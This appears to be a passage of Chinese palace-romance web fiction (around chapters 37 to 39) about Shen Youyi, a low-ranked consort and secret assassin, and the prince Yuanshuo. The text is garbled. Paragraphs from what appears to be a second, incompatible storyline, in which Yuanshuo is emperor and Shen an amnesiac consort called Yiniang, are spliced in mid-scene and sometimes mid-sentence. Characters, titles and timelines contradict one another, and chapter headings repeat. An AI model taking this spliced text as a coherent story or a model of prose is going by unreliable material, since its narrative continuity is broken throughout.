寝殿内,窗子都紧闭着,帘缦一层又一层地垂落在地上,地面烛台倒地,华贵的衣裳被剪成碎片,散得哪里都是,胭脂水粉和首饰头面也被扔在地上,杂乱无章地堆叠着,放眼望去,诺大的寝殿内竟无一处可以下脚。 元朔帝面色冷凝,从踏入殿门开始,浑身的气势就低沉下来,显然是已经在动怒的边缘了,他绕过地上的杂物,走到床榻外面,终于看见了这场闹剧的始作俑者。 纤细玲珑的身子伏在床榻下面的地毯上,瀑布般的黑色长发披散开来,缠绕在莹白的肩头和背部,她身着白色薄纱外罩,里面只穿着一条盖到小腿的纱裙,衣衫极薄,几乎掩不住什么。 沈幼宜背对着元朔帝,蜷缩在地上,外罩和裙子都她弄得褶皱逶迤,手臂、肩头和小腿都露在外面,安安静静地躺在那里一动不动,纤细柔弱,好像就这么睡过去了。 “怀德院送来的东西你尽数砸了,沈幼宜,你可知你在做什么?但凭不敬尊上这一点,孤就能废了你的位分,夺取你现在所有的一切。” 帘缦中的人闻言,上身缓缓起伏,她回望一眼,似乎是真的确认元朔帝来了,才又倒了下去,继续躺在地上发呆,“位分?殿下说的,是东宫奉仪这个位分么?奉仪是东宫最低位,殿下就算夺了,与我来说也大差不大的。” 沈幼宜的位分确实是东宫最低的,但这只是一个名头而已,论随侍和待遇,她这里却是最好的。 但沈幼宜许是不知道这些,因为元朔帝也没让人在她面前讲过。 元朔帝静默了些许,缓缓掀开帘子进入,“原来不是因为红疹不虞,是看不上孤给你的位分?” 因为位分低,她觉得参宴丢脸,一时气愤,所以才摔了他送过来的东西?借着红疹的借口躲在海棠阁里摔打? 她身上分明没有多少红疹,元朔帝一眼扫过去,只在她小腿和胳膊上看到些许,脸上脖子上这些露在人前的地方是最少的,不仔细都看不见,上些脂粉就遮掩过去了。 “妾身确实不喜欢这个位分,但就算做了太子妃又能如何,都是一样罢了。 殿下若是讨厌我,直说了便可,不用拐弯抹角地提醒我,我还以为殿下真的应下了我的小性子,身边只要我一个了呢,原来都是随口应付我的。” 主殿中亮着暖黄色的烛光,殿门半开,站在门外就能听见里面书册宣纸翻动的细碎声响。 “沈娘娘请。”说说话的人叫福案,是元朔帝身边心腹太监,他此时端着一副假面的笑脸,扬手请沈幼宜进去。 “福案公公,能否告知一声,殿下此次叫我过来是为了什么呀?” “这”沈幼宜泪光点点地望着他,微微瘪嘴,一脸委屈,“妾身在行宫,可是日日夜夜思念殿下,无时无刻都在盼望重逢,殿下这样说,可真是让人家伤心呢” 见元朔帝不理她,沈幼宜说起她在云华行宫这四年里发生的事情,断断续续地说了几件被下人们怠慢的委屈事,又献宝似的说了玉宁教她下棋、煮茶、刺绣,极力向元朔帝表明她这四年在行宫里真的很听话乖巧,丝毫没有偷懒懈怠。 “妾身给殿下煮茶吧,玉宁教我好久,每隔几日就要练习一遍,妾身现在的手艺可好了呢!”沈幼宜双眸盈盈,好似端着一方秋水,期盼地望着元朔帝,似乎是在等他夸奖。 “孤叫你过来,是让你明白自己的地位,东宫规矩森严,后院又新晋几位嫔妾,好几位品阶都在你之上,你身为最低等的奉仪,该老实本分,若是再敢依仗生育之功作威作福,孤可不会饶了你。” 元朔帝盯着沈幼宜的眼睛,声音严肃,本以为她听见后院女人多会被吓到,生出安分度日的心思,谁知沈幼宜双眼霎时间亮了起来,斗志勃勃。 “东宫的女人再多,还能大得过去皇孙么,妾身可是为殿下生育了两位小皇孙,怎么能与其他女人相提并论呢,就算有人欺负我,殿下也会为我撑腰的,对吧?” 元朔帝:“……”还是一如既往的愚蠢。 “公公不说话,可是看不起我,觉得我问的这个问题不配你回答?”沈幼宜微挑眉眼,声音凌厉了些。 “奴才不敢,奴才不敢,只是奴才也不知道殿下心里在想什么啊,殿下心思岂是我们这些做下人的能猜得准的。” 福案推脱赔罪,当然沈幼宜也没指望他回答,这话就是说给里面人听得而已。 “沈幼宜,进来!”清贵低沉的嗓音从殿内传出,透出一股子冷意。 沈幼宜瞬间垂下眉眼,不悦地瞪了一眼福案,身姿袅袅地走了进去。 福案将殿门关上,摇头感叹。 这位沈娘娘还是一日既往地不好说话啊,得亏是诞下了小皇孙,不然可要如何在这东宫生存,殿下肯定第一个不容她。 殿内,沈幼宜跪在书案前的羊毯子上,她保持着下跪叩首的姿势,好一会没有听见元朔帝说平身。 书案上堆满了文书和奏折,元朔帝提笔批注,专注于纸上,没有叫沈幼宜起来的意思。 最后,还是沈幼宜跪不住,自己从地上爬起来,磨磨蹭蹭走到元朔帝的书案前跪下,娇滴滴道:“殿下唤妾身过来,怎么不与妾身说话,四年不见,难道殿下已经将妾身抛在脑后了吗?殿下心里是一点没有妾身了吧?” “孤心里什么时候有过你。”元朔帝放下笔,冷冷看她,“沈幼宜,去了行宫四年,你还是一点长进都没有。” 欺负下人,行事嚣张,跟四年前那副盛气凌人的样子如出一辙。“?” 元朔帝稍有几分意动,他屈膝坐在她对侧,虽是责备,却面上含笑:“怎么这样小气?” 倘若他记的不错,她打赏御前内侍也比这多。 他美丽的贵妃好像十分吃惊,上下打量了他一番,鼓励道:“说对了就会有吃的。” 元朔帝稍有迟疑,几乎想再换几位御医为她诊治……她当真没事么? 但这场景又似乎前不久才见过。 沈幼宜见自己给了吃的,室内反而静了,她面上带有醉意,执拗地凑近些,又重复了一遍方才的话,一字一顿,要他学舌。 “宜娘爱陛下,很爱很爱陛下。” 第 37 章 第 37 章 元朔帝将她揽近了些,低低叫了一声“宜娘”,屏气凝神,不好惊动了她。 此刻的她已经没有了在外面的警觉,放松到对人露出肚皮和颈项。 她很喜欢独属于他的地盘,在这里很放松安心。 沈幼宜点点头,来了一点精神,又给了他一粒瓜子,鼓励他继续说:“宜娘爱陛下。” 她被侍女服侍着上了养肤的玉容膏,不染脂粉的纯净,精心养护的指甲上沾了花油的香气,泛着莹润的原色。 一个玉容花貌的美人,她才是飞不出金笼的娇贵鸟雀,把他当成了清平殿豢养的笨鹦鹉,一点点教他说话,说她爱他,很爱很爱他。 元朔帝眉峰微微一动,心底莫名生出些酸楚,她知道他到底是谁么? 她只知道他是皇帝,她是贵妃,想掩饰住自己的毛病,就要费心逢迎他。 他懒得理她,两个孩子是怎么怀上的沈幼宜心里没数吗?要不是看在孩子的面上,他定然不会接她回来,有沈幼宜这个野心大的开先例,这四年经常有不要命的婢子想要效仿,但无一例外,全部处死。 偷用禁药本就是死罪了,他容她活着都是开恩。 沈幼宜预备再接再厉多说几句博同情,但元朔帝眼神过于锋利,隐隐有些杀意,成功让她退却,没有再接着说。 “现在收拾东西,回海棠阁,以后没有孤的命令,不准靠近怀德院半步,平日无事少出门。” “是。”沈幼宜委委屈屈地应下了,一步一步地往门外挪,那缓慢地背影就像是告诉元朔帝——快点宜留我! “等等。”厢房中无人打搅,沈幼宜就这样靠在元朔帝肩膀上,安静地看完了窗外长街上,热闹繁华的花车游行。 随后用了些饭菜,眼看天色落幕,元朔帝便说打道回府。 沈幼宜想了想,提议说:“听说每年的今夜,柳河岸边都会有万盏明灯飞升的盛景,百姓们将心中的祝愿写在灯上,希望明灯上天,能让苍天看见自己的祈愿,求一个好兆头,好不容易出来一次,不如殿下就陪妾身到底,去柳河岸边逛逛吧。” 东宫嫔妾无事不会出府闲逛,除非得了储君的命令,沈幼宜自从回了东宫后别说了出去逛逛了,就连海棠阁都很少出,毕竟元朔帝生怕她到处惹事,让她老实在海棠阁里待着。 “好。”元朔帝没什么犹豫便应下了,出都出来了,再陪她走走也无妨。 沈幼宜瞬间转身,一双眼睛亮晶晶地看着他,“殿下是要留妾身在屋里伺候吗?” 两人的目光相触,元朔帝暗暗蹙眉,垂下眼帘不与沈幼宜对视,继续提笔。 “过两日母后若是宣你进宫叙话,无论她说什么,你都莫要亲近鸿儿和清儿,也不可说出将他们带回东宫抚养的话。” “为何!”沈幼宜神色落寞,不满道:“他们是我生的,亲娘将孩子带在身边养育有什么错吗!为何殿下连亲近都不允许?” “不许就是不许,哪有那么多疑问,以你的才能,你觉得你能教导好他们吗?” 宫里没有位分低就不能抚养孩子的规矩,但皇孙难得,不仅帝后喜欢孙子,元朔帝也极看重两个孩子的养育,从不疏忽。 沈幼宜愣了会,然后泄气垂头,小声应是。 其实她心底也是不想与两个孩子亲近的,她迟早都是要走的,与其让他们将来体会失去亲娘和父母决裂的痛楚,不如就当从来都没有过她这个亲娘比较好。 她早就没了多余的善心,也没有愧疚这种感情,却唯独对这两个孩子愧疚,她深陷囹圄,不知何时会死,怎敢亲近,恐怕以后会连累了他们。 太子殿下下令让沈奉仪连夜搬出偏殿,回她的海棠阁去,偏殿里的人当即忙活起来,玉宁带着几个宫女收拾东西,与沈幼宜一起往海棠阁走。 海棠阁在东宫最偏僻的角落,原本就是沈幼宜受封奉仪时在东宫的居所,太子嫔品阶以下的嫔妾是不能在东宫独享一个院落的,但沈幼宜因为有孕,所以就破了这个规矩。 虽然她离开这里四年,但海棠阁安排下人打扫,表面看上去还算干净整洁,但真正进了寝殿才发现角落里都是灰尘,负责清扫的下人根本没有认真当差。 玉宁和玉静又带着小宫女们清扫一遍屋子,折腾了一个时辰才算能过眼。 住在这里的嫔妾很少,海棠阁大晚上进进出出的,没有引来很多人围观,但住在隔壁的侍妾林氏还是走出来看了会。 嫔妾们不知道沈幼宜回来的消息,就算今日在侧门那里闹了那么大的动静,后院里的女人也是不清楚的,只因东宫下人管束极严,在前院伺候的胆敢透露什么口风引来后院龉龌,连带着下人和嫔妾一起受罚,轻则鞭刑,重则杖毙。 林氏在东宫没有位分,只是下面官员送过来的通房侍妾,连太子的面都没见过几次,她在东宫的位置就比宫人们好上一点,只能依附云昭训讨生活。 透过一群宫人,她依稀看见了那张惊艳绝伦的熟悉面庞。 “是沈幼宜,沈幼宜回来了。”林氏看清沈幼宜的脸,慌张回了自己的院子,不敢声张什么。 四年前,整个东宫都知道沈幼宜是趁着太子殿下醉酒,靠着不入流的手段侍寝,这是赐死的罪名,但第二天沈幼宜承宠的消息就传到了江皇后耳朵里,江皇后做主抬沈幼宜做侍妾,即便太子殿下不愿,但也顺从了皇后娘娘的意思,只是对沈幼宜略施惩戒。 那段时间,沈幼宜使出浑身解数勾引殿下,都被拒之门外,还屡屡受到责罚,今日罚跪明日面壁,惹得东宫众人看笑话。 林氏也是看笑话的众人之一,还在沈幼宜罚跪时落井下石,将一桶水泼到了沈幼宜罚跪的地面上。 女人争宠不都是这样做的吗,东宫许多侍妾都落井下石过,林氏不觉得自己做得事情有多过分,只是没想到一个月后,沈幼宜被查出有孕。 所有对沈幼宜落井下石过的,都遭到了十倍报复,沈幼宜这个人小肚鸡肠又跋扈,折磨人的点子很多。 林氏身上泼了一身的水,被沈幼宜让人按在地上罚跪,要知道那个时候快要入冬,一个时辰下来几乎要了她半条命,从此以后,林氏看见沈幼宜都犯怵,走路都要绕远,如同老鼠见了猫一样。 海棠阁中,玉宁跟在安慰心情不佳的沈幼宜。 “娘娘莫要多想,殿下说的话其实都是为了娘娘好,两位小主子一直养在皇后娘娘身边,金尊玉贵,那是皇家的嫡系长孙,陛下极其喜爱两位皇孙,常去看望,您要是真的开口要了才不得了,平白惹皇后娘娘生气,也让太子殿下难做。” “我知道了,玉宁你放心吧,我是不会开口要孩子的,过几日看一眼就好了。” 玉宁微微一笑,欣慰娘娘现在懂事多了,伸手为沈幼宜整理身上的睡裙,服侍沈幼宜躺下。 四年前她刚到沈娘娘身边伺候的时候,娘娘脾气暴躁,许多话压根听不进去,我行我素的,后来在行宫相处了四年,娘娘身上的坏脾气已经好多了,希望这次回来也能让殿下看见娘娘的改变,安安稳稳的,莫要生出事端了。 “对了。”沈幼宜叫住玉宁,担忧道:“今天给我下毒的人有没有查到什么证据啊,不知道是谁动的手,我心里不安心。” “娘娘放心,有玉宁在,会保护好娘娘的。”玉宁对自身的能力有自信,要是正常放在娘娘面前的吃食都要她都会检查,今日这样将毒下在茶杯里属实是过于张扬了,让她始料未及。 “好。” 目送玉宁出门,沈幼宜幽幽叹了口气。 玉宁啊玉宁,有你在我才不放心啊,做什么都得用些手段逃过你的法眼,不愧跟在元朔帝身边的心腹女官,训练得确实有模有样,应付起来不可松懈。 要不是玉书在身边,她做事不知道有多难。 凌酒言给的那本名册可是有大用处的,要不是因为看见了那册子上熟悉的人名,她也不会演这一出。 没想到这东宫之中,竟不止她和玉书两个细作。 那个被称作殿下的男子微怔,然而当着她的面却又不好发作,转头去问一个略年长些的无须男子:“他的药就是这样的效用么?孤看他是不想活了!” 她生出些怯意,清了清喉咙问道:“我到底是谁呀,你怎么叫我宜娘,先放开我好不好?” 那个年轻的男子瞧出她的惊恐柔弱,顾不上发落旁人,连忙将她抱到榻上去,含笑道:“宜娘怎么都忘了,我是你的……未婚夫君,这些日子都是我来喂药喂水,难道你还要和我生分吗?” 原来她叫宜娘,她点点头,勉强接受了他的亲近,怯生生问道:“那你是谁呀,为什么别人都唤你殿下?” 他迟疑了片刻,微微笑道:“我是当朝的太子,宜娘是我路边救下的姑娘,你身子弱,动不动就会晕倒,我实在放心不下你,又对你一见钟情,咱们两个私许终身,就暂时将你安置在这里。” 她的脸都红透了,私许终身是很不守规矩的事情,他怎么能说得如此自然,半点也不避人。 “那你有没有太子妃呀?” 虽说他很年轻,可她不大放心:“去我家里提过亲了么?” 第 38 章 第 38 章 乌溜溜的云遮住了晴空上一抹碧色,山中多云雾,过一会儿便淅淅沥沥下起雨来,不会打得树摇瓦动,只浸润得枝叶苍翠,为草木带来秋日的滋养。 这是宫廷里最缠绵惆怅的时节,但与西侧殿里躺卧的美人无关。 沈幼宜睡得很沉,她费力睁开双眼前,就嗅到湿润清甜的香气。 殿中的花枕里放了玉华醒醉香,荼蘼木犀柔软的花瓣已经发蔫,散发着最后浓烈的余香,提神醒脑。 一下榻,就觉腿脚软绵绵的使不上力气,头也有些晕,需要稍集中些精神才能勉强站稳。 她起身推开窗,望了一眼四周,从窗外能望见清平殿熟悉的一切,天子近侍沉着稳重地捧了奏疏与茶盏往御前去,院中有内侍执帚洒扫。 廊下风铃摇动,她甚至还能从此处望见瑶光殿的一角。 沈幼宜立马眉开眼笑,整个人散发着欢喜明媚的气场,迅速吃完了饭菜,拉着元朔帝出门去。 与此同时,萧明月和林幼宁就在蓬莱酒楼二层的另一间厢房中说话,林幼宁得了家里的吩咐,出来见太子殿下一面,谁知太子带着一个侍妾出来,明晃晃不给她颜面。 萧明月柔声安慰她,说东宫不是什么好地方,嫁给公候之家或许更好,可林幼宁不这么想,萧明月生来就是公主,在皇宫里长大,受皇后嫡母照拂,自是什么好东西都见过,什么荣华富贵都体会过才会这样说话,这样不在意。 林幼宁生在国公府,也是出生尊贵,但国公府家风清贵廉洁,一大家子住在一个宅院里,日常用度寻常得很,家里资源在姐妹之间平分,就算是嫡长孙女,也没那么富裕荣华,好不容易有了当上太子妃的机会,林幼宁不想这么放弃。 储君身份贵重,身边有几个宠爱的妾室不算什么,男人都是这样的,只要她当上太子妃,有了管理后院的权力,还会惧怕忌惮几个身份低微的妾室么! 萧明月劝好友放弃与太子见面,不要过去给自己找不自在,但林幼宁与她意见相反,铁了心要见太子一面,说不准太子见了她,就知道世家大族培养出来的贵女与那些宫女上位的女人是不一样的,高门贵女才应当站在储君身边,更配得上太子的身份。 所以在元朔帝和沈幼宜走出厢房的时候,‘正巧’碰上了从隔壁厢房里出来的萧明月和林幼宁。 林幼宁大大方方走上前对元朔帝行礼,端庄说道:“臣女林幼宁,参见太……” 话没说完,元朔帝就抬手阻止林幼宁将嘴里的话说出来,他奇怪地看着林幼宁,那质疑的眼神似乎在说这姑娘脑子好像大不聪明。 酒楼里人来人往的,从身旁经过的路人见林幼宁这么正经端庄地行礼,都惊奇地看着她,边走边嘀咕,好奇地看着她。 景国自建立以来,行仁义之风,君主礼贤下士,尊重能臣,除了特别重大的仪式,朝臣们都不会行跪拜大礼,日常见面都是站着的,面见皇帝和太子双手作揖行个半礼就可以了,在东宫里,嫔妾们要是不犯错,见到元朔帝都不会跪拜,微微欠身就可。 而刚刚林幼宁行的参拜太正经端正了,若是在宫里第一次见面,这样行礼是符合礼数的,但现在是在外面啊,还是在人多眼杂的酒楼里,她行礼太突兀,直接将元朔帝和沈幼宜置于人群焦点,大家都在好奇地看着他们,猜测是不是什么身份尊贵的人微服出行。 萧明月立马走上前拉着林幼宁后退,对元朔帝露出了一个歉意的笑容,而林幼宁似乎也意识到她刚刚急于在太子眼前露面,行为举止有些唐突,她脸上有些局促的红晕,虽然尴尬,但还是不想放过这个说话的机会,想要和元朔帝说几句话。 可惜元朔帝看都没再看她一眼,见周围百姓都往这边看,拉着沈幼宜就脚步匆匆地走了。 出了酒楼,沈幼宜没忍住笑了出来,小声在在元朔帝耳边说:“殿下身份尊贵,又生得这样好看,引得贵女爱慕,也是无可厚非的事情,刚刚那位小姐应该就是林家嫡女林幼宁,殿下和皇后娘娘属意的太子妃人选吧?” 元朔帝瞥她一眼,只觉得方才那位林小姐的所作所为让沈幼宜看了他的笑话。原来父皇和母后属意的太子妃人选,就是这样一个冒冒失失的女子? 还不如沈幼宜有眼色些,看来林家女温婉贤淑的名声不大可信。 沈幼宜见好就收,脚步轻快地拉着元朔帝往柳岸边走,期间他们十指相扣,沈幼宜握得紧紧的,始终不肯松手。 路上,元朔帝看了眼沈幼宜的手,又抬头看着她的皎若芙蕖的面庞,疑惑问她:“你手上,怎么会有茧?” 还不是那种薄茧,是常年握剑磨出来的老茧,女子手心最是细嫩,精心养大的姑娘,手心是不会有这样粗糙的茧子的。 闻言,沈幼宜垂下眼帘,静默了一会才说,“小时候家里不富裕,得帮母亲分担家务。” 为了像一点,她还在眼眶里挤出了一点泪花。 “可孤记得,你幼时是在云州一个舞坊里长大的。” 记性好挺好的,这种事情都记得。 沈幼宜继续编,“是啊,后来家里实在支撑不住,就将我卖进舞坊里了。” 元朔帝查过沈幼宜的来历,知道沈幼宜是舞坊养大的舞姬,后来舞坊被朝廷清查,她就进了宫做宫女,他知道沈幼宜幼年过得清苦,但没想到这么可怜,甚至被亲生父母卖掉,从小是孤儿和被亲生父母卖掉是不一样的,后者更加痛苦。 见元朔帝没有再继续多问,沈幼宜松了一口气,想起了幼年被迫练武的时光。 那几年,真的是每日挣扎在生死之间,要不是有妹妹沈拂陪伴扶持,就没有什么信念支撑她活到今天了。 什么复辟前朝,什么家仇国恨,沈幼宜虽是前朝血脉,但她恨得要死,若是有机会灭了魏庄,她一定亲自提剑,杀了那群喊着复辟口号的庸才。 但现在不行,母亲还在魏庄手里,要将母亲救出来再说。 也不知道阿拂那边怎么样了,有没有在任务中受伤。 “殿下喜欢那一盏?”沈幼宜在卖天灯的摊子前挑挑拣拣。 “和你一样。” “好。”沈幼宜挑了两盏最好看的,然后等着元朔帝付银子。 两个大眼瞪小眼,最后发现他们身上都没带银子,刚刚在酒楼吃饭是因为酒楼会定期去东宫结账,不用付银子。 至于跟在元朔帝身边的福案和侍卫们则是因为碍眼,被沈幼宜撵到岸边百米开外了,现在只能去他们身上拿银子了。 看着摊子小贩那种穿的这么好还没银子付钱的鄙夷眼神,元朔帝蹙了蹙眉头,心里莫名有些不自在,正准备去找福案要银子时,却看见沈幼宜拔下了头上的一个银簪子递给了小贩。 “别,我去拿银子,不用你来付。”元朔帝拦住沈幼宜,认真道。 沈幼宜还是笑着将簪子给了摊贩,然后拿走了两个天灯,“我的就是殿下的,夫妻之间不分你我,再说我身上这些都是殿下给的,算起来都是殿下所赐,哪能分得那么清楚呢。” 这不是沈幼宜第一次提起‘夫妻’一词,好像在她心里,她一直没有将自己当成侍妾,也没有将元朔帝当成夫主,他们就是夫妻。 若是平常,元朔帝定要反驳一句我们不是夫妻,但此刻他却没有说话,只沉默接过沈幼宜手上的天灯,似乎是默认了沈幼宜的话。 总之,他没张口反驳。 岸边,沈幼宜从摊贩处借了笔,迅速写好了天灯上的字,她的字扭扭歪歪,但却不难认,都是很寻常的祝愿,为夫君,为孩子。 “殿下要写什么,怎么不让我看?”沈幼宜盯着元朔帝遮掩在身后的天灯,好奇问道。 “没写什么。”元朔帝走远几步,背对着沈幼宜,提笔在天灯上落字。 沈幼宜缓缓走近,探头望去。 别是写了什么再也不愿看见沈幼宜的话吧,所以才要背着她,不过以元朔帝的性子,要是真讨厌她绝对会正面说出来,不会不给她看。 不一会,天灯燃起,缓缓升空。 沈幼宜没看见元朔帝在天灯上写了什么,其实也没有探究到底的兴致,不给看就不看吧,她也不是很好奇。 “荣华富贵,恩爱永驻,阖家安乐。” 他应承下来,却又实在不解,卫贵妃的亲生父母如果另有其人,陛下也愿意为她寻找,以贵妃如今的地位,大张旗鼓些岂不是更好? 元朔帝看得破他心里在想些什么,然而天子本就无须解释什么,缓缓道:“便是寻上三五年也无妨,但贵妃如今不好知晓。” 她不是不想家,除了脑子有些清楚,也是怕他生气……两人便是同床共枕过,于她而言,天子也是个陌生的丈夫,她还拿不准他的脾气。 他娶了宜娘,都不曾给她亲生父母聘礼,可以赏一个爵位诰命与她的亲生父母,若那个哥哥立得起来,多栽培提拔些也是应当应分的事情,到了那时她总该放下那些不必要的小心,与他讲一讲从前的趣事。 冯显光起身告退,他偷觑天子神情,陛下低头凝思,眉头虽然蹙起,可唇边挂了极清浅的笑意。 陈容寿近前换茶,见此情景都不自觉放轻了脚步,他斟酌禀道:“陛下,娘子已然醒了,见书房常有外臣出入,只好托奴婢来请您的示下,中元节时娘子想去道观散两日心,不知您能否恩准。” 第 39 章 第 39 章 太子走后,沈幼宜就放心到书房近侧的暖阁,但想到二皇子的邀约,又不免忐忑。 男人的心有些时候小着呢,这一点与年纪无关,譬如元朔帝,哪怕知晓陵阳侯的存在,也同样有许多忌讳。 她在亡夫忌日出游,难道二皇子就不怕皇帝疑心么? 果不其然,陈容寿出来时面露难色,恭恭敬敬请她进去。 元朔帝拿了一卷闲书在瞧,旁边还有侍从拿来的书画没有收好,见她来了也不抬头,下颌隐约收紧,露出些不善的锋芒。 皇帝在内廷起居并不穿太隆重的常服,可被无上的权势浸染久了,即便随意松散些,也没有人能忽视君父迫人的威仪。 当真是风致整峻,气度雄远。 接下来这段日子,沈幼宜果然安静下来了,连续半个月没怎么出过门,听说跟她身边的婢女学做糕点,老老实实待在海棠阁不出门。 元朔帝对此还算满意,同时也有些意外沈幼宜居然这么听话。 生辰宴的前一日,元朔帝照例叫了两个儿子过来询问功课,萧予清这几天也没惹事,乖巧得出奇。 元朔帝有种这对母子血脉相连,脑子也相连的错觉,不然怎么一个变乖了之后,另一个也变乖了? 其实,这也不是萧予清变乖了,他前几日在宫人闲聊时听到了关乎沈奉仪的话语,这几天小脑袋瓜里想着事,所以乖巧了不少。 宫人们说,他和哥哥的生母沈奉仪回来了,现在就在东宫住着呢,原来他们不是没有母亲的孩子,只是母亲身份太低了,低到不配养育他们。 “哥!你有没有听见我说话呀,我说的都是真的,那些宫人真的是这么说的,我没撒谎!”萧予清摇着萧予鸿的手,颇有些急地说。 “后日清晨我们就回宫里了,现在要是不去找,说不准这个月就看不见了呐!难道你不想知道我们的生母是什么样子吗!” “明日夜里有生辰宴,会看见的。” “可我就是想现在去看她!翌日,沈幼宜得到了出入后宫的牌子,这是皇后娘娘送过来的,特意许她去乐坊排练舞蹈所用。 既然得了皇后娘娘的看重,沈幼宜便在这支舞里用了心,顺便,她想在东宫生辰宴的时候溜进怀德院书房,去找找魏庄要的东西。 有了皇后撑腰,沈幼宜在乐坊待得风生水起,调动舞姬一点不费口舌,舞姬们各个口供体顺,杨柳细腰,貌美如花,可比元朔帝有趣得多。 沈幼宜换上绯红舞衣,为舞姬们演示一遍她凝思苦想好几日才编出来的飞天舞,舞姬们都是自小练舞的,她们见过太多惊艳的舞曲,本不觉得这位娘娘会编出什么正经舞曲来,但在沈幼宜换上舞衣的那一刻起,她们的目光就再也离不开了。 前朝君王喜好歌舞,编排了许多传世舞曲,靡靡之风唱遍大魏,同时王朝也在逐渐衰落,最终被漠北萧氏推翻,成立了景国。 景国建国只有四十余年,国内崇尚歌舞雅趣的风气尚存,故而舞姬们在宫中的俸禄和地位可比低阶女官,日子过的还算顺心。 这支舞被舞姬们争先夸赞,沈幼宜也有些意外,这舞是魏庄私藏的绘本上的,沈幼宜加以变革,便让它更加精妙绝伦,她从小被魏庄当成杀手训练,但除了武功之外,还要学习世家贵女学习的课程,一切都要做到尽善尽美,只有这样少些责罚,让母亲在魏庄好过一些。 如今也算是有一项能派上用场了。 光阴飞逝,转眼时间就过去半月。 这日,江皇后将沈幼宜和乐坊舞姬们宣到凤仪宫来,亲自看看她们排练的飞天舞到底如何。 正巧元朔帝前来请安,他跟着婢女来到凤仪宫后院,经过回廊时,意外瞥见高台上正在翩翩起舞的身影。 她好似真成了将要飞升的仙子,一颦一笑动人心魄,腰肢柔弱纤细,眉目间藏着恣意璀璨的光彩,如梦似幻。 他没见过这样的沈幼宜,这和以前的她,不是同一个人,沈幼宜站在台上起舞,仿佛脱胎换骨过一般。 元朔帝驻足,直至一舞毕,才意识到他竟站在这里将这支舞看完了。 “太子怎么来了。”江皇后笑着迎出来,仔细观察儿子的表情,深觉自己让沈幼宜上台这个决定是正确的。 她与元朔帝一起往外走,试探这问:“太子刚刚看见了,可有感想?” 元朔帝神情没有变化,闻言垂下眼帘,唇边勾起一抹不易察觉的笑意,没有回答江皇后的问题。 萧予鸿比弟弟要冷静得多,他端着一本古籍看,小身板坐得很是端正,目光在纸张上,看着专心,其实好一会没有翻页了。 沉默良久,他才说:“父王既然没说让我们去见,那就是不让见的意思,我们不能去。” 他还不懂太深的道理,但是萧予鸿记得有一次宴席,父王有个郡王堂弟的进宫,偷偷去看了一个扫撒宫女,私会应该是不对,两人都要受罚,明明是那郡王主动去看宫女的,但最后被处死的却是那个不能主动选择的宫女。 按照这样的事算,那他们去看了母亲,是不是最后挨罚的就是母亲了,毕竟皇祖母和父王都没让他们去见母亲。 “哼!你爱去不去,反正我要去。”萧予清被哥哥冷静镇定的态度气到了,他不管萧予鸿,迈着小短腿跑了出去。 两个小太监跟在萧予清身后,因为太子殿下没说小皇孙不能去后院,所以他们见小皇孙往后院跑就没阻拦,安静在萧予清身后跟着。 “喂,我问你们,你们知道沈奉仪的院子在哪里吗?” 两个小太监对视一眼,不敢隐瞒这位小主子,如实说了。 海棠阁中炊烟袅袅,这正是小厨房在生火做饭呢。 沈幼宜和玉书玉静混迹在小厨房里,欢欢喜喜地学做菜肴和糕点。 “这桂花糕是不是比上次看着好多了!” “是呢,娘娘的手艺越来越好了。”玉静忙着生火,看都没看,直接张口就夸。 沈幼宜拍了一下玉静的头,笑道:“玉静学会糊弄我了,你看都没看。” 玉书在一边笑,看着沈幼宜脸上真心流露的笑容,她也跟着开心,“是比上次好多了,玉静没骗姑娘。” “姑娘?”玉静顿了下,放下手里的木柴,抬头用疑惑地眼神去看玉书。 玉书立马笑着拍了下嘴,“诶呀,说顺嘴了,该叫娘娘的,以前在宅院里伺候,经常给府中小姐叫姑娘,一时开心,说顺口了。” “没事,玉书叫什么都行,反正咱们私下里也没人听见。” 沈幼宜一边说,一边拿起一块糕点喂给玉静,“快尝尝,还挺软糯的呢。” 玉静对玉书的话不疑有他,开心吃着糕点。 忽的,外面传来一阵宫女太监的行礼声。 似乎在说什么殿下? 殿下?元朔帝怎么会来海棠阁?吃错药了吧。 沈幼宜心中觉得不对劲,跟玉静玉书一起往外走。 “二殿下怎么来这了,外面守门的太监怎么也没通报一声。” “是我没让他们通报的,别怪罪他们。”萧予清背挺得很直,像模像样地轻咳一声,颇为正经道:“那个…本殿下就是随便逛逛,你们不用特意招待我。” 小皇孙按理说是不应该称作“殿下”的,按大景律法,殿下是一品亲王公主的尊称,但皇帝极其宠爱这两个孙子,亲口说了这是两位小殿下,所以大家就都这么称呼了。 “是是是,都听殿下的,奴婢名叫玉宁,是海棠阁的管事女官,二殿下有何吩咐都可以对奴婢讲。” 玉宁蹲在萧予清对面,温温柔柔地哄着小孩。 她心中着实吃惊,没想到小殿下居然找到了这里,也不知道是特意过来还是真的闲逛。 “去给二殿下拿些好吃的过来。”玉宁招呼院子的宫女去厨房拿吃的,顺便给宫女一个眼色,让宫女去将娘娘请出来。 萧予清手指背在身后,有些紧张地打圈圈,他极力做出镇定自然的模样,但毕竟年龄小,那双眼睛还是藏不住情绪。 “这里叫海棠阁对吧。”翌日,檀青又来了东宫,这次不是送人,而是送各种物件,夏日里穿的鲜嫩衣裙、华贵玲珑的首饰,还有各种香料和香膏,每样都赏赐了很多。 沈幼宜欢欢喜喜地收下了,没有什么不好意思的,在檀青面前极力恭维皇后娘娘贤德,说皇后娘娘母仪天下,让她无比敬仰。 没一会,檀青退下,玉宁和玉静留在屋里收拾送过来的东西。 “刚刚檀姑姑说皇后娘娘做梦梦到了有孙女出声,还说什么沈娘娘再添个女儿就儿女双全,凑了一个好字。”玉静嘀咕着,眼睛一转,低声问玉宁,“玉宁姐,你说檀姑姑是不是在暗示咱们娘娘什么啊?” 玉宁认真收拾桌子上的布料,手里端着册子记录,“没有的事,你莫要乱想,说多了惹得娘娘伤心,才过了一晚,你就忘了昨天晚上发生的事了?” “娘娘才不是会沉浸在悲伤里的人呢,今日一醒就全然不记得了,现在正欢欢喜喜在厨房里忙活呢!”玉静笑着说。 “小厨房?”玉宁抬眼看她,问:“我怎么不知道娘娘在厨房,你说说,娘娘她厨房里忙什么呢?” “当然是做点心啊!娘娘跟玉书学做点心,一会要亲自给殿下送过去呢,今日是沐休,殿下正在怀德院中,没有忙朝事。” 玉宁摇头叹气,认命地继续收拾东西,她从皇后娘娘送的东西里挑出一件淡绿色的长裙,又选了与之相配的白玉头面。 玉静不解问:“不是都要收起来吗,玉宁姐你怎么把这几样拿出来了。” “为了保命。” “啊?” 